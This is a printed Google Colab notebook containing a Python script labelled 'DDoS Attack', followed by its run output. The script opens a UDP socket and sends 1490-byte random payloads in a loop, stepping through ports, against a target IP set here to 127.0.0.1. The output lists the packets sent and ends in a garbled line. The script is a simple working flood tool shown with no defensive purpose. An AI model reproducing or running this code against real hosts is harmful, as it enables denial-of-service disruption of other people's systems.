4/19/24, 4:11 PM Untitled8.
ipynb - Colab
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
os.system("clear")
#os.system("figlet DDos Attack")
print ("\n----------------------------------------------------")
print ("\n--------- D D O S A T T A C K ---------")
print ("\n----------------------------------------------------\n")
print
ip = '127.0.0.1'
port = 1024
print ("\nThe IP address of the Host to Attack is : ",ip)
print ("\nThe PORT address of the Host to Attack is : ",port)
print ("\n----------------------------------------------------\n")
#os.system("figlet Attack Starting")
print ("[ ] 0% ")
time.sleep(2)
print ("[===== ] 25%")
time.sleep(2)
print ("[========== ] 50%")
time.sleep(2)
print ("[=============== ] 75%")
time.sleep(2)
print ("[====================] 100%")
time.sleep(2)
print ("\n----------------------------------------------------\n")
sent = 0
for x in range(1, 1000):
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
# time.sleep(1)
print ("Sent %s packet to %s throught port:%s"%(sent,ip,port))
if port == 65534:
port = 1
# time.sleep(1)
output ----------------------------------------------------
--------- D D O S A T T A C K ---------
----------------------------------------------------
The IP address of the Host to Attack is : 127.0.0.1
The PORT address of the Host to Attack is : 1024
----------------------------------------------------
[ ] 0%
[===== ] 25%
[========== ] 50%
[=============== ] 75%
[====================] 100%
----------------------------------------------------
https://colab.research.google.com/drive/1XJZeF6lK9UNOY8pKrUdOtwHIE6zVLOsK?authuser=1#scrollTo=1sumBA2b2ExW&printMode=true 1/2
4/19/24, 4:11 PM Untitled8.ipynb - Colab
Sent 1 packet to 127.0.0.1 throught port:1025
Sent 2 packet to 127.0.0.1 throught port:1026
Sent 3 packet to 127.0.0.1 throught port:1027
Sent 4 packet to 127.0.0.1 throught port:1028
Sent 5 packet to 127.0.0.1 throught port:1029
Sent 6 packet to 127.0.0.1 throught port:1030
Sent 7 packet to 127.0.0.1 throught port:1031
Sent 8 packet to 127.0.0.1 throught port:1032
Sent 9 packet to 127.0.0.1 throught port:1033
Sent 10 packet to 127.0.0.1 throught port:1034
Sent 11 packet to 127.0.0.1 throught port:1035
Sent 12 packet to 127.0.0.1 throught port:1036
Sent 13 packet to 127.0.0.1 throught port:1037
Sent 14 packet to 127.0.0.1 throught port:1038
Sent 15 packet to 127.0.0.1 throught port:1039
Sent 16 packet to 127.0.0.1 throught port:1040
Sent 17 packet to 127.0.0.1 throught port:1041
Sent 18 packet to 127.0.0.1 throught port:1042
Sent 19 packet to 127.0.0.1 throught port:1043
Sent 20 packet to 127.0.0.1 throught port:1044
Sent 21 packet to 127.0.0.1 throught port:1045
Sent 22 packet to 127.0.0.1 throught port:1046
Sent 23 packet to 127.0.0.1 throught port:1047
Sent 24 packet to 127.0.0.1 throught port:1048
Sent 25 packet to 127.0.0.1 throught port:1049
Sent 26 packet to 127.0.0.1 throught port:1050
Sent 27 packet to 127.0.0.1 throught port:1051
Sent 28 packet to 127.0.0.1 throught port:1052
Sent 29 packet to 127.0.0.1 throught port:1053
Sent 30 packet to 127.0.0.1 throught port:1054
Sent 31 packet to 127.0.0.1 throught port:1055
Sent 32 packet to 127.0.0.1 throught port:1056
Sent 33 packet to 127.0.0.1 throught port:1057
Sent 34 packet to 127.0.0.1 throught port:1058
Sent 35 packet to 127.0.0.1 throught port:1059
S t 3 k t t 2 0 0 th ht t 0 0
https://colab.research.google.com/drive/1XJZeF6lK9UNOY8pKrUdOtwHIE6zVLOsK?authuser=1#scrollTo=1sumBA2b2ExW&printMode=true 2/2